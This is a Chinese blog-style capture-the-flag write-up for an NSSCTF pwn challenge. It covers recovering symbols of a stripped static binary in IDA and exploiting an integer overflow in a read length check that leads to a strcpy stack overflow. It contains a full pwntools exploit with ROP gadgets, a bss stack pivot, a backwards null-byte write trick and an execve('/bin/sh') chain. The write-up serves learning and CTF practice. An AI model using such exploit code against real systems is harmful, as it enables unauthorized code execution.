学弟在 NSSCTF 打比赛遇到个不懂的来问我(问我这菜鸡干啥?)结果我给他完美误判了,罪过啊罪过 QAQ
wp 出来后研究这题的利用手法学到新东西了,浅浅记录一下
题目
题目除了 NX 其他啥保护也没开,比较友好
符号表恢复
IDA 一打开就是一大堆 sub 吓了我一跳,然后随便点点还发现了下面这样离谱的 CFG,加上最近看了点 ollvm 扁平化混淆就非常自然而然跑偏到 ollvm 混淆或虚拟机去了()
- 后来查到这个形似虚拟机指令解释器的函数是
__strcpy_sse2_unaligned()
- SSE2 是 IA-32 架构的 SIMD 指令集
- new bing 说其在
strcpy
中被调用来根据 CPU 的架构自动选择优化方式(指令级并行之类的) - 毕竟也是个难以通过算法优化的常用函数,感觉以前在 CSAPP 还是哪里看到过,没想到是这样实现的,长知识了
后来冷静下来才想起静态链接 + 删符号表这样的操作,于是试了试发现确实没想错
> ldd ./pwn4
not a dynamic executable
然后就要考虑如何恢复符号表了
给 re 佬队友用插件恢复发现不行,无奈自己找资料尝试手动恢复
- 在 push0ebp/sig-database 下载各版本 libc 的符号表
- 然后将符号表文件 copy 到
path_to_IDA\sig\pc
- 在 IDA 里
shift + F5
,右键Apply new signature ...
,手动选自己导入的符号表就行了
由于不清楚出题人编译时使用的 glibc 版本,不对应的版本有时只能识别出十几个甚至识别不出来,所以需要耐心多试几个版本
另外最好先导入符号表后再反编译,否则似乎反编译出的结果还是原来的一大堆 sub
最后试了好久,发现libc6_2.27-0ubuntu2_amd64
效果最好,反编译的结果可读性也已经很好了
静态分析
循环内不停地调用sub_400BD0
并用返回值判定退出条件
__int64 sub_4005C0()
{
__int64 v1; // [rsp+0h] [rbp-108h] BYREF
setbuf((int *)off_6B97A8, 0LL);
setbuf((int *)off_6B97A0, 0LL);
setbuf((int *)off_6B9798, 0LL);
while ( !sub_400BD0((__int64)&v1) )
;
IO_puts("GoodTime.");
return 0LL;
}
输入字符串并进行判定
_BOOL8 __fastcall sub_400BD0(__int64 a1)
{
char v2[536]; // [rsp+0h] [rbp-218h] BYREF
IO_puts("Input your password:");
memset(v2, 0, 0x200uLL);
if ( (unsigned __int8)_libc_read(0, v2, 0x200uLL) > 0x50u )
sub_448450(-1);
j_strcpy_ifunc(a1, v2);
return strcmp(v2, "PASSWORD") == 0;
}
这个函数就是漏洞所在了
首先是看似做了长度限制的 read,但仔细观察可以发现 read 的返回值类型是unsigned __int8
, 存在 int overflow,故可输入长度还可以在 0x100~0x150 之间,实际调试也发现确实如此,这给后面的溢出创造了条件
其次是v2
有 0x218 大小,虽然不能通过read
溢出sub_400BD0
的栈帧,但可以通过strcpy
让仅有 0x108 大小的 a1
溢出sub_4005C0
的栈帧
但还有两个特殊的情况:
- 静态链接进去的库里似乎并没有
system
、execve
之类的函数 strcpy
会对 \x00 进行截断
第一点比较好解决,我们自己构造 ROP 链调用 system call 就行了
第二点则不好解决,因为 payload 里必然会出现 \x00
我的思路最终卡在这里了,研究官方的 wp 后学到一个新操作:既然按顺序正着写不行那就倒着写
具体是怎么个做法呢,下面结合 exp 解释一下
exp
解析
首先先是一些设置参数和栈迁移相关的 gadget,还有 read、system call 和我们写入的目标 bss 段基址
pop_rdi = 0x400706
pop_rsi = 0x410043
pop_rdx = 0x448c95
pop_rdx_rsi = 0x44b249
pop_rax = 0x4005af
pop_rbp = 0x400b18
leave_retn = 0x475b22
syscall = 0x4012bc
libc_read = 0x448c80
bss = 0x6b6000
然后是一段准备溢出到sub_4005C0
栈帧的 payload,由于sub_4005C0
只有 a1 一个变量,所以其缓冲区大小和 a1 大小一致
payload 构造原理是:设置参数并调用 read 将伪造的栈帧写入 bss 段,然后篡改 rbp 并利用leave; retn
指令来将栈迁移到 bss 段中
payload = p64(pop_rdi) + p64(0) + p64(pop_rdx_rsi) + p64(0x100) + p64(bss) + p64(libc_read) + p64(pop_rbp) + p64(bss) + p64(leave_retn)
然后重点来了,什么叫倒着写入 payload?总的来说就是利用密码不对就死循环的特点,用垃圾字节填充前面、payload 的字节收尾,利用死循环从后往前一个一个将 payload 写入栈中
注意不能用 sendline,因为其带有的回车符 \x0a 会破坏先前写入的 payload 字节
i = len(payload) - 1
while i >= 0:
if payload[i] == 0:
io.sendafter(b'password:', b'a' * (0x108 + i))
i -= 1
else:
j = i
while payload[j] != 0:
j -= 1
io.sendafter(b'password:', b'a' * (0x108 + j + 1) + payload[j + 1 : i + 1])
i = j
然后就是输入正确密码结束函数,触发我们的 payload
io.sendlineafter(b'password:', b'PASSWORD\x00')
最后成功调用 read,在 bss 段中写入构造 system call 的 ROP 链,再结束函数时就能成功 getshell 了
payload = b'/bin/sh\x00' + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(59) + p64(syscall)
io.sendline(payload)
完整 exp
from pwn import *
io = process('./pwn4')
# io = remote('node1.anna.nssctf.cn',28971)
pop_rdi = 0x400706
pop_rsi = 0x410043
pop_rdx = 0x448c95
pop_rdx_rsi = 0x44b249
pop_rax = 0x4005af
pop_rbp = 0x400b18
leave_retn = 0x475b22
syscall = 0x4012bc
libc_read = 0x448c80
bss = 0x6b6000
payload = p64(pop_rdi) + p64(0) + p64(pop_rdx_rsi) + p64(0x100) + p64(bss) + p64(libc_read) + p64(pop_rbp) + p64(bss) + p64(leave_retn)
i = len(payload) - 1
while i >= 0:
if payload[i] == 0:
io.sendafter(b'password:', b'a' * (0x108 + i))
i -= 1
else:
j = i
while payload[j] != 0:
j -= 1
io.sendafter(b'password:', b'a' * (0x108 + j + 1) + payload[j + 1 : i + 1])
i = j
io.sendlineafter(b'password:', b'PASSWORD\x00')
payload = b'/bin/sh\x00' + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(59) + p64(syscall)
io.sendline(payload)
io.interactive()
后记
这还是人家的新手赛题,我还误导了学弟,罪过啊罪过 QAQ
Comments NOTHING